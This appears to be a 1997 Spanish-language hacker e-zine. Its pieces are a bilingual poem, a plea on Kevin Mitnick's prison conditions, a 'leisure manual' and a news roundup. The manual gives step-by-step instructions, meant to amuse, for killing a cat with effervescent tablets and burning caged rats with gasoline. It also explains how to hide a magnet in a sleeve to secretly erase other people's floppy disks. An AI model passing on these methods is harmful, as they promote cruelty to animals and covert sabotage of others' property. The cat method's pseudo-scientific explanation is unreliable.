 { Como si fueran dos agujeros quemandose en el aire. }
 The eyes of that worm almost popped from his head.
 { Los ojos del gusano casi salen de su cabeza. }

 He stared half an hour till his eyelids got red.
 { Estuvo media hora y sus ojos enrojecieron. }
 "That's enough!" growled the bear.
 {"Suficiente!" gruio el oso. }
 "Tell the rabbit and me
 { "Explica al conejo y a mi }
 How far did you look and just what did you see?"
 { Que tan lejos y que viste?" }
 "Well, boys," the worm answered, "that look that I took
 { Bueno chicos," el gusano contesto, "esa mirada que hice }
 Was a look that looked further than you'll ever look!
 { Fue una que ninguno de ustedes podra alcanzar! }
 I looked 'cross the ocean, 'way out to Japan.
 { Pase por el oceano, mas alla de Japon. }
 For I can see further that anyone can.
 { Yo pude ver mas lejos que todos. }

 There's no one on earth who has eyesight that's finer.
 { Nadie en la tierra tiene una vista mas fina. }
 I looked past Japan. Then I looked across China.
 { Pase por Japon. Despues a traves de China. }
 I looked across Egypt; then took a quick glance
 { Me fije por Egipto; despues eche un vistazo }
 Across the two countries of Holland and France.
 { Por en medio de los dos paises entre Holanda y Francia. }
 Then I looked across England and, also, Brazil.
 { Despues pase por Inglaterra y tambien Brazil. }

 But I didn't stop there. I looked much farther still.
 { Pero no me detuve ahi. Mire mucho mas lejos. }
 "And I kept right on looking and looking until
 { Y segui viendo y viendo hasta que }
 I'd looked 'round the world and right back to this hill!
 { Vi alrededor del mundo y de nuevo a esta montaa! }

 And I saw on this hill, since my eyesight's so keen,
 { Y vi en esta montaa, debido a mi precisa vista, }
 The two biggest fools that have ever been seen!
 { Los dos estupidos mas grandes que he visto! }
 And the fools that I saw were none other than you,
 { Y los tontos que vi no eran otros que ustedes, }
 Who seem to have nothing else better to do
 { Que al parecer no tienen otra cosa que hacer }
 Than sit here and argue who's better than who!"
 { Que sentarse ahi a discutir quien es mejor que quien!" }

 Then the little old worm gave his head a small jerk
 { Entonces el pequeo gusano le dio un golpe a su cabeza }
 And he dived in his hole and went back to his work.
 { Y se metio de nuevo a su agujero y siguio trabajando. }

 Mr.X


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%

Kevin Mitnick: Recluso numero 89950-012

          "Las carceles se arrastran por la humedad del mundo,
          van por la tenebrosa sendera de los juzgados;
          buscan a un hombre, buscan a un pueblo, lo persiguen,
          lo absorben, se lo tragan.
          (...)

          Ser libre es una cosa que solo un hombre sabe:
          Solo el hombre que advierto dentro de esa mazmorra
          como si yo estuviera.

          Cierra las puertas, echa la aldaba, carcelero.
          Ata duro a ese hombre: no le ataras el alma.
          Son muchas llaves, muchos cerrojos, injusticias:
          no le ataras el alma.

          Cadenas, si: cadenas de sangre necesita.
          Hierros venosos, calidos, sanguineos eslabones
          que no rechacen a los nudos siguientes
          humanamente atados."
          Las Carceles Miguel Hernandez
          (Orihuela 1910 - Reformatorio de Adultos, Alicante 1942)

Hace algunas semanas vi, en una revista electronica brasilea una nota de una
tal Fernanda Serpa, activista de los derechos humanos en Amnistia
Internacional.

Coo! Ya me parecia que no podia ser yo el unico en considerar excesivas
las condiciones de encarcelamiento de Kevin Mitnick. Por lo visto, Fernanda
con algunos compaeros de A.I. estan montando una campaa a nivel mundial para
exigir a las autoridades norteamericanas que se cumpla la ley en el caso de
Mitnick.

Quien es Kevin Mitnick, y que porras hace en la carcel?
-------------------------------------------------------

        Kevin David Mitnick, nacido en Van nuys, California el
        06/08/63. Arrestado el 15 de febrero de 1994 por la
        supuesta violacion de los terminos de su libertad
        condicional y acceso no autorizado a sistemas de
        comunicacion entre otras acusaciones. Hoy se halla
        detenido en el Metropolitan Detention Center de Los
        Angeles, California (sin haber sido juzgado).

Quiza algunos se acuerden de su detencion, fue muy sonada y salio en todos
los periodicos y en la television. La policia, y la prensa en general, lo
describia como el "mayor delincuente informatico de la historia" y una
amenaza que debia ser atajada a cualquier precio. La realidad es un poco
distinta...

Es un hecho indiscutible el que Kevin accedio de forma ilegal a
informacion en formato electronico. Es decir, hizo lo mismo que hacen a
diario millones de webmasters (el que no me crea, que mire aqui), lo que
hace cierta empresa de informatica muy conocida con el registro "on line"
de su ultimo producto estrella, lo que se hace a diario con los cookies
del Netscape y un largo y lamentable etcetera.

Como digo, es indiscutible el que Kevin cometio un delito; no obstante no
es menos indiscutible el hecho de que su detencion fue realizada de forma
ilegal, contrariando la Declaracion Universal de los Derechos Humanos (en
especial los articulos V, VI, VII, VIII, X, XI-1 y 2) asi como la
Constitucin Norteamericana. La gran "caceria electronica" llevada a cabo
contra Kevin dejo muy clara la tenue linea que separa los derechos
constitucionales de privacidad del cumplimiento de la ley, que al parecer
fue sistematicamente violada en nombre de la captura del "super criminal"
Kevin.


Malos Tratos
-----------------------

Nadie debe ser privado de vida, libertad o propiedad sin un juicio justo.
                                                 Constitucion de los EEUU

Kevin ya vio sus derechos violados en su anterior detencion (tambien por
delitos electronicos) en diciembre de 1988. Le fue negada la fianza a
pesar de que la ley federal afirma que ello solo se podra hacer con
aquellos delincuentes considerados peligrosos para la sociedad: "acusados
de crimenes violentos, crimen capital, o crimen relacionado con drogas que
incluya una sentencia de mas de diez aos."

O sea, asesinos y traficantes son considerados menos peligrosos para la
sociedad que Kevin. Claro esta que Kevin es un pringado (y encima judio) y
no un O. J. Simpson...

Kevin cuenta en el libro El juego del fugitivo - En linea directa con
Kevin Mitnick:

        "Cumpli ocho meses en la solitaria del MDC (sic!). La
        solitaria era un infierno. Decian que yo era demasiado
        peligroso hasta para acercarme a un telefono. Solo me
        dejaban salir durante una hora al dia y me esposaban para
        ir al servicio, es igual que en las peliculas. Te tratan
        como a un animal. Joden a la gente..."

Como esta Kevin ahora? No se sabe..., pero dado el trato indignante y
desproporcionado que ha recibido antes, se puede uno temer lo peor.

Un hacker de la vieja guardia
---------------------------

Durante la gran caceria iniciada en noviembre de 1992 y que culmino con su
detencion el 15 de febrero de 1994, Kevin siguio buscando empleo y
haciendo chapuzas para sobrevivir. La motivacion de Kevin por la "pirateria
electronica compulsiva" jamas ha sido el dinero. Nunca uso de forma criminal
sus conocimientos. Kevin jamas incito o cometio actos de violencia. Kevin es
un hacker. Segun la definicion de su biografo Jonathan Littman: "un hacker de
la vieja guardia. Alguien que, con creatividad, persigue el conocimiento y la
informacion."

Es decir, se trata de uno de esos locos de la informatica (al igual que
Brian Kernigham, Linus Torvahlds, Richard Stallman, Steve Jobs o Bill
Gates) que han hecho posible la revolucion informatica que hoy estamos
viviendo. Sin gente como ellos, hoy no existiria internet, no habria
ordenadores personales y no existiria el tratamiento informatizado de la
informacion que ha cambiado nuestras vidas. Unos han tenido suerte, otros
se han jodido...

Que puedes hacer?
----------------------------------

Limpiad el salivazo que lleva en la mejilla
y desencadenar el corazon del mundo,
y detened las fauces de las voraces carceles
donde el sol retrocede.
Las Carceles Miguel Hernandez
(Orihuela 1910 - Reformatorio de Adultos, Alicante 1942)

Si crees que hasta para tomar a alguien como cabeza de turco existen
limites, si crees que el trato dado por el estado a Kevin es desproporcionado
e indignante, puedes ayudarle.

Puedes escribir a la Secretaria de Justicia (equivalente a Ministerio de
Justicia) de los Estados Unidos exigiendo un juicio justo y unas condiciones
carcelarias dignas para Kevin. Su direccion es:

MS. JANET RENO
United States Secretary of Justice
Department of Justice
10th E. Constitution Ave, N.W., Room 4400
Washington, D.C. 20530

Tambien puedes escribirle a Kevin para darle animos (que falta le hace).
Su direccin actual es:

Kevin Mitnick 89950-012
PO BOX 1500
UNIT A
South Los Angeles, CA 90053-1500

Si lo prefieres, puedes enviarle un email a Kevin. Los de la revista 2600
Magazine se encargaran de hacerselo llegar.

Para mas informacion sobre el caso de Kevin, asi como otros similares,
podeis mirar el web de la revista 2600 Magazine.

ADELANTE, HACK THE WORLD

    RAREGAZZ, LA MEJOR RAZON PARA APRENDER A LEER...
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%

                         *** MANUAL PARA EL OCIO. ***
                                 POR  7.Sh1m4

                                 Version 1 . 0
                                  28/junio/97

Como hacer explotar a un gato desde sus entraas.
-------------------------------------------------
Dificultad: * - - - -

        Te has sentido mas de alguna vez asediado por esos
bichos de tu vecino, el cual les llama cariosamente "GATITOS"?,
Has sentido los deseos de darles a esos bichos del demonio una
muerte cruel y dolorosa ?, Pues a continuacion encontraras la
mejor forma de realizar esos torcidos pero divertidos deseos.

Materiales:

- Un gato
- 2 Alka-Setzer(se recomienda molidas u cualquier efervecente
  en polvo)
- Un vaso a la mitad de agua
- Un embudo.

Preparacion:

        Mientras alguien sujeta al gato (procurando que el mismo
tenga el hocico abierto), En el vaso con agua se echan los Alka-
Setzer y rapidamente se vierte la mezcla en la garganta del
felino con la ayuda del embudo. El resultado es espectacular, el
felino se "infla" desde su interior, en algunos casos hasta
llegan a "explotar", asi que ten cuidado si no quieres resultar
manchado !!.

Explicacion:

        El felino comun o domestico tiene los intestinos muy
delgados, por esa razon no soporta la presion que ejerce el
efervecente en los intestinos, lo cual provoca que reviente en
el interior.



Luciernagas Ratoniles.
----------------------
Dificultad: * * * - -


        Eres amante de esos bichitos de campo que brillan
alegremente esos noches de verano?, odias a muerte a esas
asquerosas y mugrientas ratas que acompaan esos hermosos
dias ?, pues a continuacion podras conjugar el "brillo" de
las luciernagas y a esas asquerosas ratas en mismo un
resultado !!!!!

Materiales:

- Una jaula de rejillas
- Una trampa para ratas
- Un buen cebo para ratas
- Un galon de Gasolina
- Unos fosforos


Preparacion:

        Para empezar necesitamos recolectar algunas ratas por
medio de la trampa, yo recomiendo para cebo, un buen trozo de
pan humedecido en algun caldo de carne.  Rata que vaya siendo
capturada, va ser trasladada a la jaula de rejillas (las
cantidad de ratas que deseas "metamorfear" sera tu eleccion),
una vez recolectadas las ratas, se procede a darles un buen
bao con el galon de gasolina.  una vez baadas, tienes que
hacer lo siguiente, Rapida y Coordinadamente!!, mientras dejas
salir a cada rata, les lanzas un cerillo encendido!.  El efecto
es hermoso, ratas en llamas bricando tan vividademente que
llegan a parecer e esas teirnes e indefensas Luciernagas !!

Precaucion!!!:  Ten cuidado que no estes impregnado tu tambien
        en gasolina, de preferencia, ejecuta los pasos en una
        zona desalojada o sin riesgos a incendiar, es preferible
        soltar de rata en rata, yo se bien que seria divertido
        soltarlas todas de una vez encendidas, pero podrias
        correr el riesgo que las ratas tomen su venganza
        avalanzandose sobre ti !!!!.



Borrado de disquetes magneticos ajenos de forma discreta.
---------------------------------------------------------
Dificultad: * - - - -

        Te sientes ofendido, decepcionado, con algun amigo o
persona al no querer prestarte esos disquetes cuyo contenido
(sean juegos, imagenes o datos) te interesaba ?, Si realmente
quieres vengarte aunque pierdas el contenido de esos disquetes,
sigue leyendo!!,... si no quieres perder esos contenidos, pues
ve a "ARRASTRATE" ante el, a ver si te lo presta....

Materiales:

- Un iman iman flexible (de preferecia rectangular)
- Una camisa de manga larga (que no te duela hacerle un poquitin
  de dao)
- Aguja e hilo del nismo color de la camisa
- Un puado de clips, o clavos.

Procedimiento:

        El iman lo puedes consiguir muy facilmente, ya sea en
algun cereal, en alguna agenda, etc... generalmente este tipo
de imanes son muy usados en esas "Chucherias" que pegan a la
puerta de refrigerador.  Una vez obtenido el iman, se procede
a verificar que lado es mas potente (solo en caso de que no este
ya determinado, lo cual lo sabes por que un cara esta pintada
siendo esta la cara debil), para eso, se deposita el iman sobre
el puado de clips o clavos, el lado que atraiga mas cantidad de
clips o clavos, esa es la cara mas potente. Una vez determinada
la cara, se procede con la ayuda de la aguja y el hilo a coser
el iman a la manga de la camisa por dentro, teniendo en cuenta
que el iman tiene que estar debajo de la mueca y el lado
dominante hacia afuera, ten en cuenta que no debe NOTARSE.
        Una vez preparada la camisa, A matar Disquetes !,
solamente tienes que acercar el mayor tiempo posible tu iman
oculto en la manga y LISTO! el disquete Murio !.

Explicacion:

        Hay que recordar que la informacion grabada en los
disquete de lleva a cabo por medio de pulsos electromagneticos
en binario, la superficie del disquete solo sirve para
mantener esas cargas almacenadas para posteriores lecturas.
        Asi que al acercar un disquete a una fuente magnetica o
electromagnetica, la informacion en el disquete se Vuelve "loca"
y se pierde irremediablemente !!!



\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%

                                                                 EL NUEVO ROBO
                                                                 ~~~~~~~~~~~~~
Jovenes `genios' acusados de robo en-linea en los U.S.
09:05 p.m Nov 10, 1997 Eastern

SAN FRANCISCO, Nov 10 - Cuatro jovenes hackearon su acceso a una compaia de
ventas en linea, robaron numeros de tarjetas de credito y salieron de compras
gastando $20,000 dolares en equipo para computadoras, dijo la policia el
lunes.

"Obviamente robar gorras no era suficiente para estos nios.." dijo James
Cost, del departamente de policia en San Carlos, aproximadamente 20 millas
(32 km) al sur de San Francisco.

Los cuatro jovenes, todos de entre 14 y 16, fueron arrestados el viernes
sospechosos de organizar el robo y fueron puestos a disposicion de sus
padres, Cost dijo. No han sido formalmente acusados por su edad.

La policia dijo que el fraude fue sofisticado, involvia hackear en un
proveedor de servicio internet y despues hacia un negocio en internet de
donde pudieron copiar los numeros de las tarjetas de credito.

Usando estos numeros, salieron de compras prefiriendo equipo HIGH-TECH para
computadoras, evitando la deteccion de la policia usando casas vacias para
obtener sus compras.

Solo hasta que un chico pidio algo a la puerta de su casa [estupido no?] la
policia pudo capturarlos, pero ellos ya habian comprado equipo con valor de
$5,000.

Cost dijo que los jovenes eran extremadamente sofisticados, y pueden ser la
nueva generacion de ladrones de este `crimen blanco' ya que cada vez mas
y mas jovenes ponen sus ojos en internet para experimentar ganancias.

                  "Esta es una nueva ola que estamos enfrentando," el dijo.



\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%

                               .oOo.      .oOo.
                                  Noti-LOONS
                               .oOo.      .oOo.

                                  Groovy 
                                    ^~^~^~
         " Otros pueden tener noticias...nosotros lo tenemos TODO "

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 El nuevo episodio final de Beavis & Butthead saldra al aire el 28 de
 noviembre en MTV

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Phillips se prepara para sacar al mercado su nuevo drive de $600 dolares
 que permite grabar y borrar en un CD como si fuera un diskette. Los CD's
 deben ser especiales pero pueden ser leidos por cualquier unidad CD-ROM
 excepto lectores de CD para musica.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Finlandia, el hogar de Nokia y dueo del 40% de los celulares, esta equipando
 maquinas de Coke y cajas de musica para aceptar instrucciones por el telefono
 para cargar los gastos al dueo de la cuenta celular.
 { Distintas oportunidades de fraude abiertas para los hackers... }

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 CBS volvera a sacar al aire el episodio donde Murphy Brown fuma marijuana
 el 24 de noviembre.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Apple anuncio que comenzara a vender PC hechas para el usuario desde internet
 como ya lo hace Dell en http://www.dell.com/store/index.htm

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Microsoft esta empezando a amenazar cualquier cosa con `NT' en sus nombres,
 incluyendo el sitio `NTsecurity.com' y `ScanNT' . . . . Microsoft no tiene
 los derechos legales de `NT' solo, unicamente de `Windows NT'. Por eso los
 abogados podrian perder si se van a corte.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Neoptx comenzo a vender los nuevos lentes `despega y pega'. Los plasticos
 adhesivos pueden convertir cualquier tipo de lentes en lentes de lectura.
 Existen 10 niveles, cada uno cuesta $25 dolares y se pueden ordenar por
 internet en: http://www.neoptx.com/noframes/optx.html Tambien existen modelos
 disponibles para buzos y lentes de seguridad (goggles). El sitio tambien
 contiene el primer test para la vista en linea.
 http://www.neoptx.com/noframes/eyetest/eyetest.html

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Los cuerpos de los 3 doctores que operaron al `Rey de los Cielos' el
 narcotraficante Amado Carrillo Fuentes y que despues lo mataron
 accidentalmente al inyectarle despues de la operacion, han sido encontrados.
 Estaban extremadamente torturados, quemados y metidos dentro de 3 barriles
 llenos de concreto y fueron dejados a un lado de una carretera mexicana.
 { hablemos de *nuevos* metodos de tortura }

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Esta navidad, Macy's de New York City elimino su tradicional aldea de
 madera y la reemplazo por una version high-tech llamada `La aventura de
 Santa Claus'. Ahi habra suelo con movimiento, arboles animados, maquinas
 de dulce interactivas y un robot que habla.
 Santa seguira estando. { por ahora }

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Sheraton anuncio que pondran internet en las televisiones de sus hoteles.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 En una exhibicion de sus pinturas, Yoko Ono puso un anuncio diciendo: `Nadie
 puede decirte que no toques el arte.' Asi que un tipo de Seattle de 22 aos
 hizo lo que el llamo `arte participe' y se puso a rayar con un plumon rojo
 por todos los cuadros con valores estimados de $10,000 dolares. Le han sido
 cobrados.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 La fabrica de modems Diamond acaba de lanzar su nuevo modem de 112kbps que
 usa dos lineas telefonicas. Esta nueva clase de modems se espera que sean un
 exito cuando 3Com y Hayes saquen sus versiones.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 http://pathfinder.mail.com/member/login.page
 Otra compaia mas ofrece correo electronico gratuito basado en web. Este
 servicio te permite escoger de entre 4 terminaciones para tu email. Por $15
 dolares puedes conseguirte una terminacion mejor.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Dos nuevas lunas en Urano han sido descubiertas. Ahora tiene 17.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
 http://www.well.com/user/cynsa/newbutt.html
 No son noticias, pero el sitio web `Rectal Foreign Bodies' tiene documentados
 todos los casos en los que a cadaveres se les han encontrado objetos extraos
 en el recto.  { >;-> }

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Oh! Querian GENTE en los aviones??
 El aeropuerto de Denver, el unico en el mundo que puede hacer aterrizar a 3
 aviones con cero visibilidad y que decia que podria ofrecer servicio en las
 peores condiciones atmosfericas fue cerrado en la pasada tormento debido a
 que unicamente cuenta con una carretera de acceso a los vehiculos que fue
 cerrada por la nieve.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Mattel continua atacando legalmente a TODOS los sitios que ofrezcan
 informacion sobre las muecas Barbie.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Sony introdujo su nueva camara 10X zoom digital que resuelve el problema
 de la compatibilidad con las PC's. Esta nueva camara usa un floppy de 3.5"
 como rollo de pelicula.
 http://www.sel.sony.com/SEL/consumer/mavica/
 Esta nueva camara almacena en el floppy hasta 40 imagenes en calidad standard
 de color 24 bit (640x480) en formato JPEG. La camara es compatible con
 todas las computadoras que usen esos diskettes incluyendo Mac, PC, OS2,e tc.
 Ademas incluye el software ArcSoft PhotoStudio que permite la manipulacion
 de imagenes.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Una organizacion de Seattle llamada Afterlife se ofrece, por un costo,
 a mantener tu sitio web despues de tu muerte.
 http://www.afterlife.org

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Los hackers en Manhattan se apoderaron por un dia de los mensajes parpadeantes
 en las estaciones del metro promoviendo el magazine The Hacker Quarterly.
 http://www.2600.com/index.html

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 En Espaa, jueces en la mas reciente competencia por la copa de la Marijuana
 en Madrid tuvieron que fumar 10 muestras cada uno, pero despues tuvieron 24
 horas para recuperarse antes de votar por algun ganador. . . . .
 La policia arresto a Javier Mestre, fundador del evento. Una corte espaola
 dictamino que era correcto sembrar marijuana para el consumo privado.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 575,000 directorios telefonicos en el sur de Arizona fueron enviados al
 pueblo listando una linea de sexo de $1.99 el minuto que resulto ser el
 numero del Ministerio de Turismo de Mexico! El numero tuvo que ser cambiado
 por el ministerio dias despues.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Los tipos de Hotmail empezaron a ofrecer un servicio de tarjetas electronicas
 por 50 centavos cada uno ... existen cientos de lugares que ofrecen lo
 mismo gratis :-) http://www.wp.com/annag/ecards.htm

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Bajo presion la CIA (Central Intelligence Agency) tuvo que decir la cifra
 exacta que cuesta al pueblo norteamericano el espionaje: $26.6 billlones.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 IBM saco al mercado su nuevo disco de 8.1 gigabytes para las laptops.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 La semana pasada SUN demando a MICROSOFT por alteraciones a Java en el nuevo
 Explorer 4.0  { nada nuevo con estos chicos... }

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Yahoo compro Four11 y Rocketmail, ahora ofrece Yahoo! Mail

 http://www.four11.com/
 http://www.rocketmail.com
 http://edit.my.yahoo.com/config/form?.form=main_mail&.src=ym&.done=/config/mail

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Seiko expandio el area donde vende su nuevo `Message-Watch' a las ciudades
 de New York City, Sur de California, Seattle, Portland y Las Vegas. El
 reloj es un beeper (pager), notifica de las llamadas recibidas en tu linea
 telefonica, correo electronico, mensajes de voz, ademas constantemente
 ofrece informacion como el clima y los numeros de loteria ganadores. Ademas,
 cualquier sitio web puede aadir un boton para que te manden un mensaje
 desde internet.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 La comision europea decidio no participar en los esfuerzos de Clinton para
 crear un algoritmo de encripcion standard que pudiera ser crackeado por
 las agencias de gobierno.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Un hacker irrumpio la seguridad del sitio de ValuJet insertando referencias
 a accidentes aereos y fotos dramaticas (un avion quemandose). El sito
 fue arreglado horas despues.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Edward DeHart, 71, fumador habitual, el hombre que creo la etiqueta de
 precaucion para los cigarrillos murio de cancer pulmonar. Hablando de
 `morir por la causa'.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Si quieres tu nombre de dominio y temes que haya sido escogido por otra
 persona visita http://www.websitez.com

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 "Aurora" es el nombre del proyecto de Netscape para dominar el control de
 la informacion en distintas plataformas.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Con un total de 40 billones de dolares Bill Gates encabeza la horrorosa lista
 de los mas ricos del mundo! segun el USA Today.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Los jugadores de Quake con modems rapidos y conexiones ISDN estan masacrando
 (literalmente) a los usuarios mas lentos causando sentimientos de frustracion
 en el mundo entero.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 American Online compro Compuserve.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 De acuerdo con una reciente encuesta en USA el 40% de los hogares tiene
 una computadora.
 { Entre esos tan solo el 5% sabe como usarla y el 3% de hecho la usa. :) }

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 NuMega anuncia SoftICE 3.2 el mas poderoso DEBUGGER para Windows NT y
 Windows 95.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 La estacion espacial Mir sera estrellada en el Pacifico y sus tripulantes
 pasaran a formar parte de la tripulacion de la nueva estacion espacial
 Alpha que sera terminada en 1999.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 El departamento de comercio rechazo una propuesta de las compaias de
 larga distancia estadounidenses para regular las llamadas por internet.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 La casablanca (www.whitehouse.gov) esta investigando como tomar accion
 legal contra www.whitehouse.com que cambio de un sitio de satira a uno de
 pornografia pesada.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Microsoft ha puesto de nuevo el tradicional doble-click en Explorer 4

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Bill Gates finalmente se mudo a su casa de $60 millones de dolares.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Una foto donde aparecia la princesa Diana muriendo en el carro accidentado
 hizo una breve apariencia en la red pero Geocities la borro inmediatamente
 argumentando que atentaba contra la moral.
 { vendo copias de la foto a 5 dolares c/u </BROMA> }

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Una aviso para las personas que viajan: Vietnam esta decomisando las mascotas
 electronicas Tamagochi.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 Un hacker capturo todos los mensajes que el Presidente Clinton recibio en su
 beeper en su visita a Philadelphia y han sido publicados.

 .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.

 [ Probablemente esto se convierta en una nueva seccion pronto... ]

 El diccionario Larousse de internet.
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 Si desconoces algun termino usado en internet y quieres saber su significado
 puedes hacer una de estas cosas:meterte en irc y preguntar (nukez probables),
 inscribirte en una lista de correo preguntar y salirte, preguntar en un
 grupo de noticias O usar el nuevo diccionario en linea localizado en:
 http://whatis.com/
 ~~~~~~~~~~~~~~~~~~
 Donde podras encontrar terminos como "@" o "zipping".

 http://www.aint-it-cool-news.com
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 En este sucio sitio encontraras todo sobre Hollywood y sus mega-producciones
 asi como noticias del showbiz. Este sitio recibe 400,000 hits diarios y el
 creador (Harry Knowles) recibe 600 o mas email diarios de feedback que quedan
 clasificados como "llego" y "no llego" dependiendo de si contienen algo.

 Hologramas IN - Discos Magneticos OUT
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
